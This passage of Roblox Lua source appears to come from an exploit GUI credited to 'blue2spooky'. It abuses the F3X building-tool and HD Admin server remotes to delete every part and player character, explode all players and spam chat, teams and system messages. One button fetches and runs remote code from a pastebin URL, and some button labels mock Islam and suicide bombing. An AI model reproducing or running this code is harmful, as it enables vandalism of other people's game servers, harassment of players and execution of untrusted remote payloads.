buildingTools.SyncAPI.ServerEndpoint:InvokeServer(unpack(argsSync)) elseif not warned then warn("Building tool not found") warned = true end end local function applyDecorationToAllParts(workspaceObject) for _, obj in pairs(workspaceObject:GetDescendants()) do if obj:IsA("Part") or obj:IsA("MeshPart") then applyDecorationToPart(obj) end end end applyDecorationToAllParts(workspace) end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.66, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "delete all" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function Punish(player) char = player.Character DestroyPart(char) end for i,v in game.Players:GetPlayers() do --zzspawn(function() pcall(function() Punish(v) end) --end) end wait(0.5) local function unanchor(part) local buildingTools = nil local player = game:GetService("Players").LocalPlayer for _, item in pairs(player.Character:GetChildren()) do if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then buildingTools = item break end end if not buildingTools then for _, item in pairs(player.Backpack:GetChildren()) do if item:IsA("Tool") and item:FindFirstChild("SyncAPI") then buildingTools = item break end end end if buildingTools then local syncAPI = buildingTools:FindFirstChild("SyncAPI") if syncAPI then local serverEndpoint = syncAPI:FindFirstChild("ServerEndpoint") if serverEndpoint then local args = { [1] = "Remove", [2] = { [1] = part } } serverEndpoint:InvokeServer(unpack(args)) end end end end local function unanchorAllParts(workspaceObject) for _, obj in pairs(workspaceObject:GetDescendants()) do if obj:IsA("Part") or obj:IsA("MeshPart") then unanchor(obj) end end end unanchorAllParts(workspace) end) local titleLabel = Instance.new("TextLabel") titleLabel.Size = UDim2.new(1, 0, 0, 40) titleLabel.Position = UDim2.new(0, 0, 0.7, 1) titleLabel.BackgroundColor3 = Color3.new(0.1, 0.1, 0.1) titleLabel.BorderSizePixel = 0 titleLabel.BorderColor3 = Color3.new(0, 0, 1) titleLabel.Font = Enum.Font.Roboto titleLabel.Text = "HD Admin Scripts" titleLabel.TextColor3 = Color3.new(1, 1, 1) titleLabel.TextSize = 30 titleLabel.Parent = mainFrame local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.74, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "team spam" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";createteam red blue2spooky was here") RequestCommand:InvokeServer(";createteam blue team blue2spooky") RequestCommand:InvokeServer(";createteam db aPH3tkJY") RequestCommand:InvokeServer(";createteam green allah") RequestCommand:InvokeServer(";createteam dg LOL!") RequestCommand:InvokeServer(";createteam pk shrekchan") RequestCommand:InvokeServer(";createteam p blue2spooky") RequestCommand:InvokeServer(";createteam y GG") RequestCommand:InvokeServer(";createteam o wut") RequestCommand:InvokeServer(";createteam black kiga") RequestCommand:InvokeServer(";createteam white Bad!") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.74, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "anti abuse/anti skid" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";uncmdbar2 others") RequestCommand:InvokeServer(";hideguis others") RequestCommand:InvokeServer(";re others") RequestCommand:InvokeServer(";unjail all") RequestCommand:InvokeServer(";unbchat others") RequestCommand:InvokeServer(";unname all") RequestCommand:InvokeServer(";untitle all") RequestCommand:InvokeServer(";unchar all") RequestCommand:InvokeServer(";unfog") RequestCommand:InvokeServer(";undisco") RequestCommand:InvokeServer(";unmusic") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.74, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "chat spam" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";chat others blue2spooky was here") RequestCommand:InvokeServer(";chat others blue2spooky") RequestCommand:InvokeServer(";chat others halp meh") RequestCommand:InvokeServer(";chat others LOL!") RequestCommand:InvokeServer(";chat others HOLYEH MOLYEH") RequestCommand:InvokeServer(";chat others blue2spooky owns our souls") RequestCommand:InvokeServer(";chat others lol wut") RequestCommand:InvokeServer(";chat others gg") RequestCommand:InvokeServer(";chat others blue2spooky was here") RequestCommand:InvokeServer(";chat others blue2spooky") RequestCommand:InvokeServer(";chat others halp meh") RequestCommand:InvokeServer(";chat others LOL!") RequestCommand:InvokeServer(";chat others HOLYEH MOLYEH") RequestCommand:InvokeServer(";chat others blue2spooky owns our souls") RequestCommand:InvokeServer(";chat others lol wut") RequestCommand:InvokeServer(";chat others gg") RequestCommand:InvokeServer(";chat others blue2spooky was here") RequestCommand:InvokeServer(";chat others blue2spooky") RequestCommand:InvokeServer(";chat others halp meh") RequestCommand:InvokeServer(";chat others LOL!") RequestCommand:InvokeServer(";chat others HOLYEH MOLYEH") RequestCommand:InvokeServer(";chat others blue2spooky owns our souls") RequestCommand:InvokeServer(";chat others lol wut") RequestCommand:InvokeServer(";chat others gg") RequestCommand:InvokeServer(";chat others blue2spooky was here") RequestCommand:InvokeServer(";chat others blue2spooky") RequestCommand:InvokeServer(";chat others halp meh") RequestCommand:InvokeServer(";chat others LOL!") RequestCommand:InvokeServer(";chat others HOLYEH MOLYEH") RequestCommand:InvokeServer(";chat others blue2spooky owns our souls") RequestCommand:InvokeServer(";chat others lol wut") RequestCommand:InvokeServer(";chat others gg") RequestCommand:InvokeServer(";chat others blue2spooky was here") RequestCommand:InvokeServer(";chat others blue2spooky") RequestCommand:InvokeServer(";chat others halp meh") RequestCommand:InvokeServer(";chat others LOL!") RequestCommand:InvokeServer(";chat others HOLYEH MOLYEH") RequestCommand:InvokeServer(";chat others blue2spooky owns our souls") RequestCommand:InvokeServer(";chat others lol wut") RequestCommand:InvokeServer(";chat others gg") RequestCommand:InvokeServer(";chat others blue2spooky was here") RequestCommand:InvokeServer(";chat others blue2spooky") RequestCommand:InvokeServer(";chat others halp meh") RequestCommand:InvokeServer(";chat others LOL!") RequestCommand:InvokeServer(";chat others HOLYEH MOLYEH") RequestCommand:InvokeServer(";chat others blue2spooky owns our souls") RequestCommand:InvokeServer(";chat others lol wut") RequestCommand:InvokeServer(";chat others gg") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.74, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "savemap" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";savemap") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.78, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "allah akbar!" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";talk all praise allah or sum") wait(1) RequestCommand:InvokeServer(";talk all allah akbar") wait(1) RequestCommand:InvokeServer(";explode all") RequestCommand:InvokeServer(";music 137994058") RequestCommand:InvokeServer(";volume inf") wait(1.5) RequestCommand:InvokeServer(";music 247893371") RequestCommand:InvokeServer(";volume inf") wait(3.7) RequestCommand:InvokeServer(";music") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.78, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "suicide bomb tool" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/RjdgsM1U"))() end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.78, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "fog" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";disco") RequestCommand:InvokeServer(";fog") RequestCommand:InvokeServer(";fog inf") RequestCommand:InvokeServer(";fog") RequestCommand:InvokeServer(";music 5359659874") RequestCommand:InvokeServer(";volume inf") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.78, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "alot of explosion" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 20 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") RequestCommand:InvokeServer(";insert 12221636") end) local scriptbyblue2spooky = Instance.new("TextButton") scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40) scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.82, 0) scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0) scriptbyblue2spooky.BorderSizePixel = 1 scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1) scriptbyblue2spooky.Font = Enum.Font.Roboto scriptbyblue2spooky.Text = "Systemmessage spam" scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1) scriptbyblue2spooky.TextSize = 15 scriptbyblue2spooky.TextWrapped = true scriptbyblue2spooky.Parent = mainFrame scriptbyblue2spooky.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") RequestCommand:InvokeServer(";systemmessage LOL") end) end) end; task.spawn(C_25); -- StarterGui.ScreenGui.Frame.TextButton.LocalScript local function C_27() local script = G2L["27"]; local button = script.Parent button.MouseButton1Click:Connect(function() -- Gui to Lua -- Version: 3.2 -- Instances: local ScreenGui = Instance.new("ScreenGui") local ImageLabel = Instance.new("ImageLabel") local TextLabel = Instance.new("TextLabel") local ImageButton = Instance.new("ImageButton") local TextLabel_2 = Instance.new("TextLabel") local ImageButton_2 = Instance.new("ImageButton") local TextLabel_3 = Instance.new("TextLabel") local ImageButton_3 = Instance.new("ImageButton") local TextLabel_4 = Instance.new("TextLabel") local ImageButton_4 = Instance.new("ImageButton") local TextLabel_5 = Instance.new("TextLabel") local ImageButton_5 = Instance.new("ImageButton") local TextLabel_6 = Instance.new("TextLabel") local ImageButton_6 = Instance.new("ImageButton") local TextLabel_7 = Instance.new("TextLabel") local ImageButton_7 = Instance.new("ImageButton") local TextLabel_8 = Instance.new("TextLabel") local ImageButton_8 = Instance.new("ImageButton") local TextLabel_9 = Instance.new("TextLabel") local ImageButton_9 = Instance.new("ImageButton") local TextLabel_10 = Instance.new("TextLabel") local ImageButton_10 = Instance.new("ImageButton") local TextLabel_11 = Instance.new("TextLabel") --Properties: ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling ImageLabel.Parent = ScreenGui ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ImageLabel.BorderColor3 = Color3.fromRGB(0, 0, 0) ImageLabel.BorderSizePixel = 3 ImageLabel.Position = UDim2.new(0.268317848, 0, 0.244653314, 0) ImageLabel.Size = UDim2.new(0, 406, 0, 207) ImageLabel.Image = "rbxassetid://83632141493364" TextLabel.Parent = ImageLabel TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel.BackgroundTransparency = 1.000 TextLabel.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel.BorderSizePixel = 0 TextLabel.Size = UDim2.new(0, 406, 0, 25) TextLabel.Font = Enum.Font.Arial TextLabel.Text = "luu_kki F3X" TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0) TextLabel.TextScaled = true TextLabel.TextSize = 14.000 TextLabel.TextWrapped = true ImageButton.Parent = ImageLabel ImageButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ImageButton.BorderColor3 = Color3.fromRGB(0, 0, 0) ImageButton.BorderSizePixel = 0 ImageButton.Position = UDim2.new(0.024630541, 0, 0.167121038, 0) ImageButton.Size = UDim2.new(0, 100, 0, 47) ImageButton.Image = "rbxassetid://83632141493364" TextLabel_2.Parent = ImageButton TextLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel_2.BackgroundTransparency = 1.000 TextLabel_2.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel_2.BorderSizePixel = 0 TextLabel_2.Position = UDim2.new(0, 0, 0.212765962, 0) TextLabel_2.Size = UDim2.new(0, 100, 0, 26) TextLabel_2.Font = Enum.Font.SourceSans TextLabel_2.Text = "decal" TextLabel_2.TextColor3 = Color3.fromRGB(0, 0, 0) TextLabel_2.TextScaled = true TextLabel_2.TextSize = 14.000 TextLabel_2.TextWrapped = true ImageButton_2.Parent = ImageLabel ImageButton_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ImageButton_2.BorderColor3 = Color3.fromRGB(0, 0, 0) ImageButton_2.BorderSizePixel = 0 ImageButton_2.Position = UDim2.new(0.290640384, 0, 0.167121038, 0) ImageButton_2.Size = UDim2.new(0, 100, 0, 47) ImageButton_2.Image = "rbxassetid://83632141493364" TextLabel_3.Parent = ImageButton_2 TextLabel_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel_3.BackgroundTransparency = 1.000 TextLabel_3.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel_3.BorderSizePixel = 0 TextLabel_3.Position = UDim2.new(0, 0, 0.212765962, 0) TextLabel_3.Size = UDim2.new(0, 100, 0, 26) TextLabel_3.Font = Enum.Font.SourceSans TextLabel_3.Text = "sky" TextLabel_3.TextColor3 = Color3.fromRGB(0, 0, 0) TextLabel_3.TextScaled = true TextLabel_3.TextSize = 14.000 TextLabel_3.TextWrapped = true ImageButton_3.Parent = ImageLabel ImageButton_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ImageButton_3.BorderColor3 = Color3.fromRGB(0, 0, 0) ImageButton_3.BorderSizePixel = 0 ImageButton_3.Position = UDim2.new(0.559113324, 0, 0.167121038, 0) ImageButton_3.Size = UDim2.new(0, 100, 0, 47) ImageButton_3.Image = "rbxassetid://83632141493364" TextLabel_4.Parent = ImageButton_3 TextLabel_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel_4.BackgroundTransparency = 1.000 TextLabel_4.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel_4.BorderSizePixel = 0 TextLabel_4.Position = UDim2.new(0, 0, 0.212765962, 0) TextLabel_4.Size = UDim2.new(0, 100, 0, 26) TextLabel_4.Font = Enum.Font.SourceSans TextLabel_4.Text = "message" TextLabel_4.TextColor3 = Color3.fromRGB(0, 0, 0) TextLabel_4.TextScaled = true TextLabel_4.TextSize = 14.000 TextLabel_4.TextWrapped = true ImageButton_4.Parent = ImageLabel ImageButton_4.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ImageButton_4.BorderColor3 = Color3.fromRGB(0, 0, 0) ImageButton_4.BorderSizePixel = 0 ImageButton_4.Position = UDim2.new(0.825123131, 0, 0.167121038, 0) ImageButton_4.Size = UDim2.new(0, 63, 0, 47) ImageButton_4.Image = "rbxassetid://83632141493364" TextLabel_5.Parent = ImageButton_4 TextLabel_5.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel_5.BackgroundTransparency = 1.000 TextLabel_5.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel_5.BorderSizePixel = 0 TextLabel_5.Position = UDim2.new(0, 0, 0.212765962, 0) TextLabel_5.Size = UDim2.new(0, 63, 0, 26) TextLabel_5.Font = Enum.Font.SourceSans TextLabel_5.Text = "hint" TextLabel_5.TextColor3 = Color3.fromRGB(0, 0, 0) TextLabel_5.TextScaled = true TextLabel_5.TextSize = 14.000 TextLabel_5.TextWrapped = true ImageButton_5.Parent = ImageLabel ImageButton_5.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ImageButton_5.BorderColor3 = Color3.fromRGB(0, 0, 0) ImageButton_5.BorderSizePixel = 0 ImageButton_5.Position = UDim2.new(0.024630541, 0, 0.449944973, 0) ImageButton_5.Size = UDim2.new(0, 100, 0, 47) ImageButton_5.Image = "rbxassetid://83632141493364" TextLabel_6.Parent = ImageButton_5 TextLabel_6.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel_6.BackgroundTransparency = 1.000 TextLabel_6.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel_6.BorderSizePixel = 0 TextLabel_6.Position = UDim2.new(0, 0, 0.212765962, 0) TextLabel_6.Size = UDim2.new(0, 100, 0, 26) TextLabel_6.Font = Enum.Font.SourceSans TextLabel_6.Text = "title all" TextLabel_6.TextColor3 = Color3.fromRGB(0, 0, 0) TextLabel_6.TextScaled = true TextLabel_6.TextSize = 14.000 TextLabel_6.TextWrapped = true ImageButton_6.Parent = ImageLabel ImageButton_6.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ImageButton_6.BorderColor3 = Color3.fromRGB(0, 0, 0) ImageButton_6.BorderSizePixel = 0 ImageButton_6.Position = UDim2.new(0.290640384, 0, 0.452795714, 0) ImageButton_6.Size = UDim2.new(0, 100, 0, 47) ImageButton_6.Image = "rbxassetid://83632141493364" TextLabel_7.Parent = ImageButton_6 TextLabel_7.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel_7.BackgroundTransparency = 1.000 TextLabel_7.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel_7.BorderSizePixel = 0 TextLabel_7.Position = UDim2.new(0, 0, 0.212765962, 0) TextLabel_7.Size = UDim2.new(0, 100, 0, 26) TextLabel_7.Font = Enum.Font.SourceSans TextLabel_7.Text = "Fire all" TextLabel_7.TextColor3 = Color3.fromRGB(0, 0, 0) TextLabel_7.TextScaled = true TextLabel_7.TextSize = 14.000 TextLabel_7.TextWrapped = true ImageButton_7.Parent = ImageLabel ImageButton_7.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ImageButton_7.BorderColor3 = Color3.fromRGB(0, 0, 0) ImageButton_7.BorderSizePixel = 0 ImageButton_7.Position = UDim2.new(0.559113324, 0, 0.445114076, 0) ImageButton_7.Size = UDim2.new(0, 100, 0, 47) ImageButton_7.Image = "rbxassetid://83632141493364" TextLabel_8.Parent = ImageButton_7 TextLabel_8.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel_8.BackgroundTransparency = 1.000 TextLabel_8.BorderColor3 = Color3.fromRGB(0, 0, 0) TextLabel_8.BorderSizePixel = 0 TextLabel_8.Position = UDim2.new(0, 0, 0.212765962, 0) TextLabel_8.Size = UDim2.new(0, 100, 0, 26) TextLabel_8.Font = Enum.Font.SourceSans TextLabel_8.Text = "delete players" TextLabel_8.TextColor3 = Color3.fromRGB(0, 0, 0) TextLabel_8.TextScaled = true TextLabel_8.TextSize = 14.000 TextLabel_8.TextWrapped = true ImageButton_8.Parent = ImageLabel ImageButton_8.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ImageButton_8.BorderColor3 = Color3.fromRGB(0, 0, 0) ImageButton_8.BorderSizePixel = 0 ImageButton_8.Position = UDim2.new(0.825123131, 0, 0.445114076, 0) ImageButton_8.Size = UDim2.new(0, 63, 0, 47) 